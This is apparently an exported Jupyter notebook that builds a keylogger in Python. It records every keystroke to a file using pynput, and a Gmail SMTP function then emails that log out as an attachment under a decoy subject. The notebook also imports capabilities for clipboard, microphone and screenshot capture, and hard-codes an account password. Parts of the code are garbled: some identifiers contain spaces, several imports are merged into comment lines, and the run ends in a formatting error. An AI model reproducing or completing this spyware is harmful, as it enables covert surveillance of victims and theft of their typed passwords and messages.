## → KEYLOGGERS

Unsupported Cell Type. Double-Click to inspect/edit the content.

```
Required Packages
pip install pywin32
    Requirement already satisfied: pywin32 in c:\users\dell\anaconda3\lib\site-packages (227)
    Note: you may need to restart the kernel to use updated packages.
pip install pynput
     Requirement already satisfied: pynput in c:\users\dell\anaconda3\lib\site-packages (1.7.6)
     Requirement already satisfied: six in c:\users\dell\anaconda3\lib\site-packages (from pynput) (1.15.0)
    Note: you may need to restart the kernel to use updated packages.
pip install scipy
     Requirement already satisfied: scipy in c:\users\dell\anaconda3\lib\site-packages (1.6.2)
    Requirement already satisfied: numpy<1.23.0,>=1.16.5 in c:\users\dell\anaconda3\lib\site-packages (from scipy) (1.20.1)
    Note: you may need to restart the kernel to use updated packages.
pip install cryptography
     Requirement already satisfied: cryptography in c:\users\dell\anaconda3\lib\site-packages (3.4.7)
     Requirement already satisfied: cffi>=1.12 in c:\users\dell\anaconda3\lib\site-packages (from cryptography) (1.14.5)
    Requirement already satisfied: pycparser in c:\users\dell\anaconda3\lib\site-packages (from cffi>=1.12->cryptography) (2.20)
    Note: you may need to restart the kernel to use updated packages.
pip install requests
     Requirement already satisfied: requests in c:\users\dell\anaconda3\lib\site-packages (2.25.1)
     Requirement already satisfied: chardet<5,>=3.0.2 in c:\users\dell\anaconda3\lib\site-packages (from requests) (4.0.0)
     Requirement already satisfied: idna<3,>=2.5 in c:\users\dell\anaconda3\lib\site-packages (from requests) (2.10)
    Requirement already satisfied: urllib3<1.27.>=1.21.1 in c:\users\dell\anaconda3\lib\site-packages (from requests) (1.26.4)
    Requirement already satisfied: certifi>=2017.4.17 in c:\users\dell\anaconda3\lib\site-packages (from requests) (2020.12.5)
    Note: you may need to restart the kernel to use updated packages.
pip install pillow
     Requirement already satisfied: pillow in c:\users\dell\anaconda3\lib\site-packages (8.2.0)
    Note: you may need to restart the kernel to use updated packages.
```

```
pip install sounddevice
```

```
Requirement already satisfied: sounddevice in c:\users\dell\anaconda3\lib\site-packages (0.4.5)

Requirement already satisfied: CFFI>=1.0 in c:\users\dell\anaconda3\lib\site-packages (from sounddevice) (1.14.5)

Requirement already satisfied: pycparser in c:\users\dell\anaconda3\lib\site-packages (from CFFI>=1.0->sounddevice) (2.20)

Note: you may need to restart the kernel to use updated packages.
```

## Importing Libraries

```
#for email libraries
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import encoders
from email.mime.base import MIMEBase
import smtplib
```

Secure/Multipurpose Internet Mail Extension (S/MIME) is an industry-standard for email encryption and signature that is commonly used by businesses to improve email security. S/MIME is supported by the majority of corporate email clients. MIME is a kind of add-on or a supplementary protocol that allows non-ASCII data to be sent through SMTP. Multipurpose Internet Mail Extension (MIME) Protocol

```
#libraries for collecting computer information import socket import platform

#for clipboard import win32clipboard

#for grabbing keystrokes from pynput.keyboard import Key , Listener

#for system information to track the time import time import os

#for microphone capabilities from scipy.io.wavfile import write import sounddevice as sd

#to encrypt files from cryptography.fernet import Fernet
```

```
#to get username and some other computer information
import getpass
from requests import get
#for screenshot functionality
from multiprocessing import Process ,freeze support
from PIL import ImageGrab
Buliding a basic keylogger
Unsupported Cell Type. Double-Click to inspect/edit the content.
key information = "key loggers.txt"
file_path = "C:\\Users\\dell\\PycharmProjects\\pythonProject\\project"
extend ="\\"
#constant variables and empty list keys were new keys will appended
count =0
keys=[]
def on press(key):
   global keys, count
   print(key)
   keys.append(key)
    count += 1
   if count >=1:
        count = 0
        write file(keys)
        keys = []
#write files
def write file(keys):
   with open(file_path + extend + key_information , "a")as f: # a for append
        for key in keys:
           k = str(key).replace("'","")
           if k.find("space") > 0:
                f.write('\n')# for every space new lines will made
                f.close()
            elif k.find ("Key") == -1:
                f.write(k)
                f.close()
```

```
def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press =on_press, on_release=on_release) as listener:
    listener.join()
```

## **Email Functionality**

How to not only send email and also add an attachament so for instance the keys log file so that we can access the email.

```
email address="keyloggersproject@gmail.com"#have to put to new rando gmail account
password="keyloggers"#password of that account
toaddr="keyloggersproject@gmail.com"# we can put another email account which we need to send mail .. For instance here we put same email.
def send email(filename,attachment,toaddr):
   fromaddr=email address
   msg =MIMEMultipart()
   msg['From']=fromaddr
   msg['To']=toaddr
   msg['Subject']="Request For Leave"#any subject that you want to put
   body = "Body_of_the_mail"
   msg.attach(MIMEText(body, 'plain'))
   #attachments
   filename = filename
   attachment = open (attachment, 'rb' ) #read the atttachment
   #Create MIMEBase
   p = MIMEBase('application', 'octet-stream') #default settings added to MIMEBase
   #encode the messages
   p.set_payload ((attachment).read ())#read attachments
   #finishing encoding with base 64
   encoders.encode base64(p)
   #add a header and attach the message
   p.add_header ('Content-Disposition',"attachment; filename= 8s" % filename)
   msg.attach(p)
   #Simple Mail Transfer Protocol (STMP) >> SMTP is used to send and receive email.
   s = smtplib.SMTP('smtp.gmail.com', 587)#server and port used for accessing gmail
   # We must secure whatever data data we are taking so we need to start a TLS (Transport Lyaer Security)
```

```
s.starttls ()
    #Login to gmail address
   s.login (fromaddr, password)
   #To convert a multipart message into string
   text = msg.as_string ()
   #send email
   s.sendmail (fromaddr, toaddr, text)
   s.quit ()
send_email(key_information,file_path+extend+key_information,toaddr)
                                              Traceback (most recent call last)
     <ipython-input-34-38164246473e> in <module>
         43
               s.quit ()
     ---> 45 send_email(key_information,file_path+extend+key_information,toaddr)
     <ipython-input-34-38164246473e> in send_email(filename, attachment, toaddr)
         23
         24
                #add a header and attach the message
     ---> 25
                p.add_header ('Content-Disposition',"attachment; filename= 8s" % filename)
         26
                msg.attach(p)
         27
    TypeError: not all arguments converted during string formatting
     SEARCH STACK OVERFLOW
```

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